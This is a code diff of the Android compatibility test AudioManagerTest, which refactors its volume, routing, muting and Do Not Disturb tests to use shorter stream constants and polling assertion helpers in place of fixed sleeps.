 import static android.media.AudioManager.VIBRATE_SETTING_OFF;
 import static android.media.AudioManager.VIBRATE_SETTING_ON;
@@ -37,7 +44,6 @@
 import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
 import static android.provider.Settings.System.SOUND_EFFECTS_ENABLED;
 
-import android.app.INotificationManager;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.content.BroadcastReceiver;
@@ -47,11 +53,16 @@
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.media.AudioAttributes;
+import android.media.AudioDeviceAttributes;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
+import android.media.AudioProfile;
 import android.media.MediaPlayer;
+import android.media.MediaRecorder;
 import android.media.MicrophoneInfo;
-import android.os.ServiceManager;
+import android.media.audiopolicy.AudioProductStrategy;
+import android.os.Build;
+import android.os.SystemClock;
 import android.os.Vibrator;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
@@ -61,21 +72,31 @@
 import android.util.Log;
 import android.view.SoundEffectConstants;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.MediaUtils;
 import com.android.internal.annotations.GuardedBy;
 
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.Executors;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
 
 @NonMediaMainlineTest
 public class AudioManagerTest extends InstrumentationTestCase {
     private final static String TAG = "AudioManagerTest";
 
     private final static long ASYNC_TIMING_TOLERANCE_MS = 50;
-    private final static int MP3_TO_PLAY = R.raw.testmp3;
+    private final static long POLL_TIME_VOLUME_ADJUST = 200;
+    private final static long POLL_TIME_UPDATE_INTERRUPTION_FILTER = 5000;
+    private final static int MP3_TO_PLAY = R.raw.testmp3; // ~ 5 second mp3
+    private final static long POLL_TIME_PLAY_MUSIC = 2000;
     private final static long TIME_TO_PLAY = 2000;
     private final static String APPOPS_OP_STR = "android:write_settings";
     private AudioManager mAudioManager;
@@ -121,14 +142,14 @@
 
         // Store the original volumes that that they can be recovered in tearDown().
         final int[] streamTypes = {
-            AudioManager.STREAM_VOICE_CALL,
-            AudioManager.STREAM_SYSTEM,
-            AudioManager.STREAM_RING,
-            AudioManager.STREAM_MUSIC,
-            AudioManager.STREAM_ALARM,
-            AudioManager.STREAM_NOTIFICATION,
-            AudioManager.STREAM_DTMF,
-            AudioManager.STREAM_ACCESSIBILITY,
+            STREAM_VOICE_CALL,
+            STREAM_SYSTEM,
+            STREAM_RING,
+            STREAM_MUSIC,
+            STREAM_ALARM,
+            STREAM_NOTIFICATION,
+            STREAM_DTMF,
+            STREAM_ACCESSIBILITY,
         };
         mOriginalRingerMode = mAudioManager.getRingerMode();
         for (int streamType : streamTypes) {
@@ -146,7 +167,7 @@
                     mContext.getPackageName(), getInstrumentation(), false);
         }
 
-        // Check original mirchrophone mute/unmute status
+        // Check original microphone mute/unmute status
         mDoNotCheckUnmute = false;
         if (mAudioManager.isMicrophoneMute()) {
             mAudioManager.setMicrophoneMute(false);
@@ -273,7 +294,7 @@
         // should hear sound after loadSoundEffects() called.
         mAudioManager.loadSoundEffects();
         Thread.sleep(TIME_TO_PLAY);
-        float volume = 13;
+        float volume = 0.5f;  // volume should be between 0.f to 1.f (or -1).
         mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
         mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
         mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
@@ -328,15 +349,12 @@
         }
         MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
         assertNotNull(mp);
-        mp.setAudioStreamType(AudioManager.STREAM_MUSIC);
+        mp.setAudioStreamType(STREAM_MUSIC);
         mp.start();
-        Thread.sleep(TIME_TO_PLAY);
-        assertTrue(mAudioManager.isMusicActive());
-        Thread.sleep(TIME_TO_PLAY);
+        assertMusicActive(true);
         mp.stop();
         mp.release();
-        Thread.sleep(TIME_TO_PLAY);
-        assertFalse(mAudioManager.isMusicActive());
+        assertMusicActive(false);
     }
 
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
@@ -353,40 +371,32 @@
     @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
     public void testRouting() throws Exception {
         // setBluetoothA2dpOn is a no-op, and getRouting should always return -1
-        // AudioManager.MODE_CURRENT
         boolean oldA2DP = mAudioManager.isBluetoothA2dpOn();
         mAudioManager.setBluetoothA2dpOn(true);
         assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
         mAudioManager.setBluetoothA2dpOn(false);
         assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
 
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_RINGTONE));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_NORMAL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertEquals(-1, mAudioManager.getRouting(MODE_RINGTONE));
+        assertEquals(-1, mAudioManager.getRouting(MODE_NORMAL));
+        assertEquals(-1, mAudioManager.getRouting(MODE_IN_CALL));
+        assertEquals(-1, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
 
         mAudioManager.setBluetoothScoOn(true);
-        assertTrue(mAudioManager.isBluetoothScoOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_RINGTONE));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_NORMAL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> p.isBluetoothScoOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned false");
 
         mAudioManager.setBluetoothScoOn(false);
-        assertFalse(mAudioManager.isBluetoothScoOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_RINGTONE));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_NORMAL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true");
 
         mAudioManager.setSpeakerphoneOn(true);
-        assertTrue(mAudioManager.isSpeakerphoneOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false");
+
         mAudioManager.setSpeakerphoneOn(false);
-        assertFalse(mAudioManager.isSpeakerphoneOn());
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_CALL));
-        assertEquals(AudioManager.MODE_CURRENT, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+        assertTrueCheckTimeout(mAudioManager, p -> !p.isSpeakerphoneOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned true");
     }
 
     public void testVibrateNotification() throws Exception {
@@ -609,13 +619,13 @@
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
         int volume, volumeDelta;
-        int[] streams = {AudioManager.STREAM_ALARM,
-                AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_VOICE_CALL,
-                AudioManager.STREAM_RING};
+        int[] streams = {STREAM_ALARM,
+                STREAM_MUSIC,
+                STREAM_VOICE_CALL,
+                STREAM_RING};
 
         mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-        // adjusting volume is aynchronous, wait before other volume checks
+        // adjusting volume is asynchronous, wait before other volume checks
         Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
         mAudioManager.adjustSuggestedStreamVolume(
                 ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
@@ -623,8 +633,7 @@
         int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
 
         for (int stream : streams) {
-
-            if (mIsSingleVolume && stream != AudioManager.STREAM_MUSIC) {
+            if (mIsSingleVolume && stream != STREAM_MUSIC) {
                 continue;
             }
 
@@ -649,7 +658,7 @@
             assertEquals(String.format("stream=%d", stream),
                     minNonZeroVolume, mAudioManager.getStreamVolume(stream));
 
-            if (stream == AudioManager.STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
+            if (stream == STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
                 // due to new regulations, music sent over a wired headset may be volume limited
                 // until the user explicitly increases the limit, so we can't rely on being able
                 // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
@@ -670,10 +679,8 @@
 
             volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
             mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            assertEquals("Vol ADJUST_LOWER suggested stream:" + stream + " maxVol:" + maxVolume
-                    + " volDelta:" + volumeDelta,
-                    maxVolume - volumeDelta, mAudioManager.getStreamVolume(stream));
+            assertStreamVolumeEquals(stream, maxVolume - volumeDelta,
+                    "Vol ADJUST_LOWER suggested stream:" + stream + " maxVol:" + maxVolume);
 
             // volume lower
             mAudioManager.setStreamVolume(stream, maxVolume, 0);
@@ -681,10 +688,9 @@
             while (volume > minVolume) {
                 volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
                 mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
-                assertEquals("Vol ADJUST_LOWER on stream:" + stream + " vol:" + volume
-                                + " minVol:" + minVolume + " volDelta:" + volumeDelta,
-                        Math.max(0, volume - volumeDelta),
-                        mAudioManager.getStreamVolume(stream));
+                assertStreamVolumeEquals(stream,  Math.max(0, volume - volumeDelta),
+                        "Vol ADJUST_LOWER on stream:" + stream + " vol:" + volume
+                                + " minVol:" + minVolume + " volDelta:" + volumeDelta);
                 volume = mAudioManager.getStreamVolume(stream);
             }
 
@@ -696,10 +702,9 @@
             while (volume < maxVolume) {
                 volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
                 mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
-                assertEquals("Vol ADJUST_RAISE on stream:" + stream + " vol:" + volume
-                                + " maxVol:" + maxVolume + " volDelta:" + volumeDelta,
-                        Math.min(volume + volumeDelta, maxVolume),
-                        mAudioManager.getStreamVolume(stream));
+                assertStreamVolumeEquals(stream,   Math.min(volume + volumeDelta, maxVolume),
+                        "Vol ADJUST_RAISE on stream:" + stream + " vol:" + volume
+                                + " maxVol:" + maxVolume + " volDelta:" + volumeDelta);
                 volume = mAudioManager.getStreamVolume(stream);
             }
 
@@ -732,38 +737,31 @@
         mp.setAudioStreamType(STREAM_MUSIC);
         mp.setLooping(true);
         mp.start();
-        Thread.sleep(TIME_TO_PLAY);
-        assertTrue(mAudioManager.isMusicActive());
+        assertMusicActive(true);
 
         // adjust volume as ADJUST_SAME
         for (int k = 0; k < maxMusicVolume; k++) {
             mAudioManager.adjustVolume(ADJUST_SAME, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            assertEquals(maxMusicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
         }
 
         // adjust volume as ADJUST_RAISE
         mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
         volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
         mAudioManager.adjustVolume(ADJUST_RAISE, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        assertEquals(Math.min(volumeDelta, maxMusicVolume),
-                mAudioManager.getStreamVolume(STREAM_MUSIC));
+        assertStreamVolumeEquals(STREAM_MUSIC, Math.min(volumeDelta, maxMusicVolume));
 
         // adjust volume as ADJUST_LOWER
         mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
         maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
         volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
         mAudioManager.adjustVolume(ADJUST_LOWER, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        assertEquals(Math.max(0, maxMusicVolume - volumeDelta),
-                mAudioManager.getStreamVolume(STREAM_MUSIC));
+        assertStreamVolumeEquals(STREAM_MUSIC, Math.max(0, maxMusicVolume - volumeDelta));
 
         mp.stop();
         mp.release();
-        Thread.sleep(TIME_TO_PLAY);
         if (!isMusicPlayingBeforeTest) {
-            assertFalse(mAudioManager.isMusicActive());
+            assertMusicActive(false);
         }
     }
 
@@ -774,55 +772,50 @@
         }
         final int maxA11yVol = mAudioManager.getStreamMaxVolume(STREAM_ACCESSIBILITY);
         assertTrue("Max a11yVol not strictly positive", maxA11yVol > 0);
-        int currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+        int originalVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
 
         // changing STREAM_ACCESSIBILITY is subject to permission, shouldn't be able to change it
         // test setStreamVolume
         final int testSetVol;
-        if (currentVol != maxA11yVol) {
+        if (originalVol != maxA11yVol) {
             testSetVol = maxA11yVol;
         } else {
             testSetVol = maxA11yVol - 1;
         }
         mAudioManager.setStreamVolume(STREAM_ACCESSIBILITY, testSetVol, 0);
-        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-        assertTrue("Should not be able to change A11y vol", currentVol != testSetVol);
+        assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                "Should not be able to change A11y vol");
 
         // test adjustStreamVolume
         //        LOWER
-        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-        if (currentVol > 0) {
+        if (originalVol > 0) {
             mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_LOWER, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int newVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-            assertTrue("Should not be able to lower A11y vol", currentVol == newVol);
+            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                    "Should not be able to change A11y vol");
         }
         //        RAISE
-        currentVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-        if (currentVol < maxA11yVol) {
+        if (originalVol < maxA11yVol) {
             mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_RAISE, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int newVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
-            assertTrue("Should not be able to raise A11y vol", currentVol == newVol);
+            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                    "Should not be able to change A11y vol");
         }
     }
 
     public void testSetVoiceCallVolumeToZeroPermission() {
         // Verify that only apps with MODIFY_PHONE_STATE can set VOICE_CALL_STREAM to 0
-        mAudioManager.setStreamVolume(AudioManager.STREAM_VOICE_CALL, 0, 0);
+        mAudioManager.setStreamVolume(STREAM_VOICE_CALL, 0, 0);
         assertTrue("MODIFY_PHONE_STATE is required in order to set voice call volume to 0",
-                    mAudioManager.getStreamVolume(AudioManager.STREAM_VOICE_CALL) != 0);
+                    mAudioManager.getStreamVolume(STREAM_VOICE_CALL) != 0);
     }
 
     public void testMuteFixedVolume() throws Exception {
         int[] streams = {
-                AudioManager.STREAM_VOICE_CALL,
-                AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_RING,
-                AudioManager.STREAM_ALARM,
-                AudioManager.STREAM_NOTIFICATION,
-                AudioManager.STREAM_SYSTEM};
+                STREAM_VOICE_CALL,
+                STREAM_MUSIC,
+                STREAM_RING,
+                STREAM_ALARM,
+                STREAM_NOTIFICATION,
+                STREAM_SYSTEM};
         if (mUseFixedVolume) {
             for (int stream : streams) {
                 mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
@@ -844,7 +837,7 @@
         if (mSkipRingerTests) {
             return;
         }
-        int[] streams = { AudioManager.STREAM_RING };
+        int[] streams = { STREAM_RING };
         // Mute streams
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
@@ -919,19 +912,19 @@
             return;
         }
         int[] streams = {
-                AudioManager.STREAM_VOICE_CALL,
-                AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_ALARM
+                STREAM_VOICE_CALL,
+                STREAM_MUSIC,
+                STREAM_ALARM
         };
 
         int muteAffectedStreams = System.getInt(mContext.getContentResolver(),
                 System.MUTE_STREAMS_AFFECTED,
                 // same defaults as in AudioService. Should be kept in sync.
                  (1 << STREAM_MUSIC) |
-                         (1 << AudioManager.STREAM_RING) |
-                         (1 << AudioManager.STREAM_NOTIFICATION) |
-                         (1 << AudioManager.STREAM_SYSTEM) |
-                         (1 << AudioManager.STREAM_VOICE_CALL));
+                         (1 << STREAM_RING) |
+                         (1 << STREAM_NOTIFICATION) |
+                         (1 << STREAM_SYSTEM) |
+                         (1 << STREAM_VOICE_CALL));
 
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
@@ -963,7 +956,7 @@
 
     private void testStreamMuting(int stream) {
         // Voice call requires MODIFY_PHONE_STATE, so we should not be able to mute
-        if (stream == AudioManager.STREAM_VOICE_CALL) {
+        if (stream == STREAM_VOICE_CALL) {
             mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
             assertFalse("Muting voice call stream (" + stream + ") should require "
                             + "MODIFY_PHONE_STATE.", mAudioManager.isStreamMute(stream));
@@ -1015,14 +1008,13 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
 
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
@@ -1036,18 +1028,16 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
 
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
-            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
             int volumeDelta =
-                    getVolumeDelta(mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            assertEquals(musicVolume + volumeDelta,
-                    mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
+                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume + volumeDelta);
 
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
@@ -1061,18 +1051,19 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
 
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
-            // delay for streams to get into correct volume states
+            // delay for streams interruption filter to get into correct state
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 7, 0);
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 7, 0);
-            assertEquals(7, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            // cannot adjust music, can adjust ringer since it could exit DND
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 7, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
+            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
+            assertStreamVolumeEquals(STREAM_RING, 7);
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1085,16 +1076,17 @@
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
             // delay for streams to get into correct volume states
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
 
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 3, 0);
-            assertEquals(3, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 7, 0);
-            assertEquals(7, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            // can still adjust music and ring volume
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, 3);
+            mAudioManager.setStreamVolume(STREAM_RING, 7, 0);
+            assertStreamVolumeEquals(STREAM_RING, 7);
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1112,27 +1104,27 @@
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
 
             final int testRingerVol = getTestRingerVol();
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-            int alarmVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
 
             // disallow all sounds in priority only, turn on priority only DND, try to change volume
             mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0 , 0));
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
             // delay for streams to get into correct volume states
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 3, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 5, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, testRingerVol, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 3, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 5, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, testRingerVol, 0);
 
             // Turn off zen and make sure stream levels are still the same prior to zen
             // aside from ringer since ringer can exit dnd
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            assertEquals(alarmVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM));
-            assertEquals(testRingerVol, mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
+            assertEquals(testRingerVol, mAudioManager.getStreamVolume(STREAM_RING));
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1148,12 +1140,12 @@
         try {
             // turn off zen, set stream volumes to check for later
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            int ringVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_RING);
-            int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-            int alarmVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            int ringVolume = mAudioManager.getStreamVolume(STREAM_RING);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            int alarmVolume = mAudioManager.getStreamVolume(STREAM_ALARM);
 
             // disallow all sounds in priority only, turn on priority only DND, try to change volume
             mNm.setNotificationPolicy(new NotificationManager.Policy(0, 0, 0));
@@ -1161,23 +1153,23 @@
             // delay for streams to get into correct mute states
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_RING, AudioManager.ADJUST_RAISE, 0);
+                    STREAM_RING, ADJUST_RAISE, 0);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_MUSIC, AudioManager.ADJUST_RAISE, 0);
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
             mAudioManager.adjustStreamVolume(
-                    AudioManager.STREAM_ALARM, AudioManager.ADJUST_RAISE, 0);
+                    STREAM_ALARM, ADJUST_RAISE, 0);
 
             // Turn off zen and make sure stream levels are still the same prior to zen
             // aside from ringer since ringer can exit dnd
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
             Thread.sleep(ASYNC_TIMING_TOLERANCE_MS); // delay for streams to get into correct states
-            assertEquals(musicVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC));
-            assertEquals(alarmVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM));
+            assertEquals(musicVolume, mAudioManager.getStreamVolume(STREAM_MUSIC));
+            assertEquals(alarmVolume, mAudioManager.getStreamVolume(STREAM_ALARM));
 
             int volumeDelta =
-                    getVolumeDelta(mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+                    getVolumeDelta(mAudioManager.getStreamVolume(STREAM_RING));
             assertEquals(ringVolume + volumeDelta,
-                    mAudioManager.getStreamVolume(AudioManager.STREAM_RING));
+                    mAudioManager.getStreamVolume(STREAM_RING));
         } finally {
             setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
         }
@@ -1192,33 +1184,26 @@
                 mContext.getPackageName(), getInstrumentation(), true);
         try {
             // ensure volume is not muted/0 to start test
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_ALARM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_SYSTEM, 1, 0);
+            mAudioManager.setStreamVolume(STREAM_RING, 1, 0);
 
